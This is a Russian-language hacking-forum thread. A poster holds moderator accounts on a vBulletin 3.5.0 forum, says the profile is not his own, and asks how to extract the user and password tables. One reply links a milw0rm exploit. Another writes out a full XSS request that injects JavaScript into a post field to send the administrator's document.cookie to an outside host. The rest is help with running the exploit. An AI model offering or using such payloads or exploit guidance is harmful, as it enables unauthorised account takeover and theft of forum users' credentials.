Просмотр полной версии : Vbulletin 3.5.0 + аккаунты модераторов = ?
Здравствуйте, господа хорошие.
Вот есть форум на Vbulletin 3.5.0, есть два работающих аккаунта модераторов - что с этим можно сделать в плане добычи таблиц типа user; pass и т.п.?
P.S. Профиль не мой, но заначку терять нет желания, так что если кто чем поможет - с меня причитается.
емть эксплойт для версий ниже 3.6.4, там как раз нужны привелигии модеров.
ссылко (http://milw0rm.com/exploits/3387)
или еще, как вариант, от имени модера попробывать отправить админа на хсс
www.xz.сom/forumpath/newthread.php?do=newthread&f=3&subject=1234&WYSIWYG_HTML=%3Cp%3E%3C%2Fp%3E&s=&f=3&do=postthread&posthash=c8d3fe38b082b6d3381cbee17f1f1aca&poststarttime='%2Bimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%2B'&sbutton=%D1%EE%E7%E4%E0%F2%FC+%ED%EE%E2%F3%FE+%F2% E5%EC%F3&parseurl=1&disablesmilies=1&emailupdate=3&postpoll=yes&polloptions=1234&openclose=1&stickunstick=1&iconid=0
Сенкс за эксплойт, но я не врубаюсь как он работает: заполняю все нужные поля типа host, path, user и т.д., запускаю и появляется пустая страница. (На моем хостинге пхп работает и другие сплоиты отрабатывают).
Кто работал с этим эксплоитом - объясните в чем суть и как правильно делать. Сенкс.
Почитай поймешь как запускать :)
клацк (http://forum.antichat.ru/thread26510.html)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot